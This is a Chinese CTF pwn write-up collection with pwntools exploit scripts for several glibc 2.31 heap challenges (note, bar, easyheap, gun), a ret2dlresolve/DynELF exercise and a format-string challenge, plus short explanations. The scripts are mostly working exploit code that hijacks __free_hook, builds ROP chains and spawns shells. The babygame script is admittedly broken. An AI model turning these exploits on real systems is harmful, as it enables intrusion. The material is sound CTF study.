2022dasctf9月
note
from pwn import*
p=process("./pwn")
#p=remote("node4.buuoj.cn",26178)
context(log_level="Debug",terminal=["tmux","splitw","-h"])
libc=ELF("libc-2.31.so")
choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode())
def add(size,payload):
choice(1)
size = 0x100000000 | size
p.sendafter(b'Note size:',str(size).encode())
p.sendafter(b'Note content:',payload)
def free(idx):
choice(2)
p.sendlineafter(b'Note ID:',str(idx).encode())
def show(idx):
choice(3)
p.sendlineafter(b'Note ID:',str(idx).encode())
add(0x90,'a'*0x90)
add(0x80,'a'*0x10)
add(0x80,'a'*0x10)#2
add(0xf0,'a'*0x10)#3
add(0xf0,'a'*0x10)#4
add(0xf0,'a'*0x10)#5
add(0xf0,'a'*0x10)#6
add(0xf0,'a'*0x10)
free(0)
add(0x90,'a'*0x90+p64(0)+p64(0x521))
free(1)
add(0x80,'a'*0x10)
show(2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebbe0
free_hook=libc.symbols["__malloc_hook"]+libc_base
system=libc_base+libc.symbols["system"]
onegadget=libc_base+0xe6af1
free(4)
free(3)
free(0)
add(0x90,'a'*0x90+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x491)+p64(0x00007fdadd6e9be0)*2+'a'*0x70+p64(0)+p64(0x101)+p64(free_hook))
add(0xf0,'a')
add(0xf0,p64(system))
#free(5)
#add(0xf0,"/bin/sh\x00")
#add(0x80,'b')
print(hex(free_hook))
gdb.attach(p)
p.interactive()
题目不难关键在于审题,看到一堆unsigned int和int就想整形溢出,事实也确实是malloc时候unsigned整形溢出,构成堆重叠。之后也挺常规的
bar
from pwn import*
#p=remote("node4.buuoj.cn",26315)
p=process("./bar")
elf=ELF('libc-2.31.so')
context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
libc=ELF('libc-2.31.so')
s=lambda x:p.send(x)
sa=lambda x,y:p.sendafter(x,y)
sl=lambda x:p.sendline(x)
sla=lambda x,y:p.sendlineafter(x,y)
r=lambda x:p.recv(x)
ru=lambda x:p.recvuntil(x)
debug=lambda:gdb.attach(p)
choose=lambda x:sla(b"Your choice:",str(x))
def add(size,content):
choose(1)
sla("Whisky , brandy or Vodka?",str(size))
sla("You may want to tell sth to the waiter:",content)
def free(idx,num):
choose(2)
sla("Which?",str(idx))
sla("How much?",str(num))
choose(3)
ru('0x')
libc_base=int(r(12),16)-0x1ec6a0
onegadget=libc_base+0xe6af1
freehook=libc_base+libc.sym['__malloc_hook']
""" 0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL """
add(0,'0')
add(0,'1')#
add(2,'2')
add(2,'3')
add(1,'4')#0x100
add(2,'5')
add(2,'6')
add(1,'7')#0x100
add(0,'8')
add(2,'9')
add(2,'a')
free(0,0x100)
add(0,'\0'*0xf8+p64(0x471))
free(1,0x100)
free(2,0x40)
free(3,0x40)
add(0,'a'*0x10)
add(0,p64(0)*7+p64(0x51)+p64(freehook-0x10))
add(2,'a')
add(2,p64(onegadget))
#free(6,0x40)
add(0,'a')
print(hex(freehook))
#gdb.attach(p)
p.interactive()
题目不难关键在于没有edit情况下切割unsortbin以达到覆盖效果构成重叠我是伪造了一个unsortbin来做的官方wp还可以伪造unsortbin和tcache来做,但我感觉其实并不太好
总结一下,做完9月,nameless师傅出的题都没有特别考察glibc,我感觉很不错。之后着重转向调试glibc了
reverse1
看着挺有意思的研究了一下这道题
按照正常逻辑只能接触fake flag,程序的关键在于fun1函数下的fun2 _cxa_allocate_exception,引用一下知乎上的解释
简化的exception处理流程(从throw到catch):
- 调用
__cxa_allocate_exception
分配空间存放exception object和exception header__cxa_exception
- 跳转到
__cxa_throw
,设置__cxa_exception
字段后跳转到_Unwind_RaiseException
_Unwind_RaiseException
执行search phase,调用personality查找匹配的try catch(类型匹配)_Unwind_RaiseException
执行cleanup phase:调用personality查找包含out-of-scope变量的stack frames,对于每个stack frame,跳转到其landing pad执行destructors。该landing pad用_Unwind_Resume
跳转回cleanup phase_Unwind_RaiseException
执行的cleanup phase跳转到匹配的try catch对应的landing pad- 该landing pad调用
__cxa_begin_catch
,执行catch代码,然后调用__cxa_end_catch
__cxa_end_catch
销毁exception object
问题便变成了从throw找catch处理异常代码,跟进_cxa_throw,可以发现_cxa_begin_catch,这便是正确的catch位置这时候以汇编窗口打开,对_cxa_begin_catch进行溯源查找调用它的函数按x
查找,经过查找mian+158,就找到正确的函数
bytectf2020
easyheap
这题我一开始想的是利用v2的任意地址写0之后,改变tcache指向free_hook之后调用one_gadget
实际onegadget不太行只有老老实实sys bin,具体注意的点就算切割unsotrbin malloc0留下地址leak libc,我们构造tache指针重叠时候主要我们修改的指针连表必须后面至少还有两个tachce占为否则我们申请free——hook时候会申请不出来。
from pwn import*
p=process("./easyheap")
context(log_level="Debug",terminal=["tmux","splitw","-h"])
libc=ELF("/home/sohaha/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
def cho(num):
p.sendlineafter(">> ",str(num))
def exadd(v2,size,con):
cho(1)
p.sendlineafter("Size: ",str(v2))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",con)
def add(size,con):
cho(1)
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",con)
def show(index):
cho(2)
p.sendlineafter("Index: ",str(index))
def delete(index):
cho(3)
p.sendlineafter("Index: ",str(index))
for i in range(0,8):
add(0x80,'aaaaaaaa')
for i in range(0,7):
delete(7-i)
delete(0)
exadd(0x361,0x1,'\xe0')
show(0)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebc61-2-0x7d
print(hex(libc_base))
""" constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULLs
"""
one_gadget=libc_base+0xe6aee
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(free_hook))
###########################################################################
#for i in range(0,5):
# add(0x80,'bbbbbbbb')
#add(0x80,p64(free_hook))
#add(0x80,"/bin/sh\x00")
#add(0x80,p64(system))#其实可以利用原来申请的0x80构造,但是如过这样肯定要重新布置堆块了较麻烦
##########################################################################
add(0x70,'bcbcbcbc')
add(0x60,"bcbcbcbc")
add(0x50,'adadadad')
add(0x50,'adadadad')
add(0x50,'adadadad')
delete(3)
delete(5)
delete(4)
exadd(-0xbf,0x40,"/bin/sh\x00")
add(0x50,p64(free_hook))
add(0x50,"/bin/sh\x00")
add(0x50,p64(system))
delete(5)
########################################################################
print(hex(free_hook))
gdb.attach(p)
p.interactive()
gun
这题也挺有意思的,解题关键在于发现malloc的时候堆没有初始化,free的时候没有删去指针,而且本题特殊的load形式先把对块上链表之后再free但是load链表却没有初始化和释放的时候把next指针归零(这个看了好久没看出来,真的挺利害的),导致我们可以uaf构造重叠,同时开了沙箱,以前我也没做过setcontext的题确实是长见识了
from pwn import*
p=process("./gun")
context(log_level="debug",terminal=["tmux","splitw","-h"])
libc=ELF("libc-2.31.so")
p.recvuntil("Your name: ")
payload='adadadad'
p.sendline(payload)
def cho(num):
p.sendlineafter("Action> ",str(num))
def buy(size,con):
cho(3)
p.sendlineafter("Bullet price: ",str(size))
p.sendlineafter("Bullet Name: ",con)
def load(index):
cho(2)
p.sendlineafter('load?',str(index))
def shoot(time):
cho(1)
p.sendlineafter('time: ',str(time))
buy(0x500,'a'*0x10)
buy(0x20,'a'*0x10)
load(0)
shoot(1)
buy(0x20,'a')
load(0)
shoot(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x1ebf61-0x100
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
setcontext=libc_base+libc.symbols["setcontext"]+61
free_hook=libc_base+libc.symbols["__free_hook"]
buy(0x30,'a')#0
buy(0x30,'a')#2
load(0)
load(2)
shoot(2)
buy(0x30,'\x0a')
load(0)
shoot(1)
p.recvuntil("Pwn! The ")
elf_base=u64(p.recv(6).ljust(8,"\x00"))-0x340
#print(hex(elf_base))
pdt=libc_base+0x26b72 ##pop_rdi_ret
pat=libc_base+0x4a550 ##pop_rax_ret
pst=libc_base+0x27529 ##pop_rsi_ret
pd12t=libc_base+0x11c1e1 ##pop_rdx_r12_ret
sys_ret=libc_base+0x66229 ##syscall_ret
#print(hex(pdt))
def syscall(num,a1,a2,a3):
pd=p64(pat)+p64(num)+p64(pdt)+p64(a1)+p64(pst)+p64(a2)+p64(pd12t)+p64(a3)+p64(0)+p64(sys_ret)
return pd
#print(hex(elf_base))
target=0x410+elf_base
#0 1 2 3 4 5 6 7
load(1)
shoot(1)
for i in range(9):
buy(0x20,'a')
for i in range(9):
load(8-i)
shoot(9)
for i in range(7):
buy(0x20,'b')
for i in range(6):
load(5-i)
shoot(8)
for i in range(7):
buy(0x20,'a')
rop=syscall(2,target+0x10,0,0)+syscall(0,3,target+0x10,0x40)+syscall(1,1,target+0x10,0x40)
padding='./flag\x00\x00'+p64(target)+p64(setcontext)+'a'*0x78+p64(target+0xb0)+rop
buy(0x200,'s')
buy(0x20,p64(free_hook))
buy(0x20,'a')
buy(0x20,'a')
buy(0x20,p64(libc_base+0x1547a0))
load(7)
shoot(1)
""" #double free
for i in range(8):
buy(0x68,'b')
load(0)
load(2)
load(3)
load(4)
load(5)
load(6)
load(7)
load(8)
shoot(8)
load(1)
shoot(2)
orw_base=elf_base+0x100
pop_rdi=0x0000000000001bd3
pop_rsi_r15=0x0000000000001bd1
"""
""" orw=p64(pop_rdi)+p64(flag_addr)
orw+=p64(pop_rsi_r15)+p64(0)+p64(0)
orw+=p64(pop_rax)+p64(2)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi_r15)+p64(elf_base+0x40)
orw+=p64(pop_rdx)+p64(0x100)
orw+=p64(pop_rax)+p64(0)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi_r15)+p64(elf_base+0x40)+p64(0)
orw+=p64(pop_rdx)+p64(0x100)
"""
print(hex(free_hook))
gdb.attach(p)
p.interactive()
1.ret2ret2dlresolve
这道题类型算是第一次遇见还挺有意思的
参考【技术分享】借助DynELF实现无libc的漏洞利用小结-安全客 - 安全资讯平台
from pwn import *
p = process('./c1')
elf = ELF('./c1')
write = elf.plt['write']
read = elf.plt['read']
bss = elf.bss(0x2C)
main = 0x80484be
pppt = 0x0804856c
offset = 112
def leak(address):
p.recvuntil('Welcome to XDCTF2015~!\n')
payload = "A" * 112 + p32(write) + p32(main) + p32(1) + p32(address) + p32(4)
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf = elf)
systemAddress = d.lookup('system', 'libc')
payload = 'A' * 112 + p32(read) + p32(pppt) + p32(0) + p32(bss) + p32(0x2C) + p32(systemAddress) + p32(main) + p32(bss)
p.send(payload)
payload = "/bin/sh\00"
p.send(payload)
p.interactive()
1.hgame babygame
rom pwn import*
from ctypes import*
p=process("./babygame")
libc=ELF("libc-2.31.so")
elf=ELF("./libc-2.31.so")
p.recvuntil("Please input your name:")
context(arch="amd64",log_level="debug",os='linux',terminal=['tmux','splitw','-h'])
libc=cdll.LoadLibrary("./libc-2.31.so")
libc.srand(0x1111111111111111)
payload=('\x11'*0x109)
p.sendline(payload)
p.recvuntil("\x11"*0x109)
cannary=u64(p.recv(7).rjust(8,'\x00'))
print(hex(cannary))
stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print(hex(stack))
#gdb.attach(p)
for i in range(100):
v2=libc.rand()%3
if v2==0:
v3=1
if v2==1:
v3=2
if v2==2:
v3=0
p.recvuntil(': \n')
p.sendline(str(v3))
#gdb.attach(p,"b 0x7f408657bfca")
gdb.attach(p)
p.recvuntil("Good luck to you.\n")
payload='%42178c%9$hn'+'aaaa'+'%27$p'+'aaa'+p64(leak_addr-520)
p.send(payload)
sleep(0.2)
p.recvuntil('\x78')
atoi_addr=int(p.recv(12),16)-16
libc_base=atoi_addr-lib.sym['atoi']
print('libc_base')
print(hex(libc_base))
sys_addr=lib.symbols['system']+libc_base
bin_sh_addr=lib.search('/bin/sh').next()+libc_base
payload2=0x108*'a'+p64(canary)+'b'*0x18+p64(0x4f302 +libc_base)
p.send(payload2)
sleep(0.2)
p.send('0')
p.interactive()
#gdb.attach(p)
p.interactive()
开幕雷击第一题就调炸了,换了各种脚本尝试跑了以下乌各自libc总是对不上,现放着后面再来。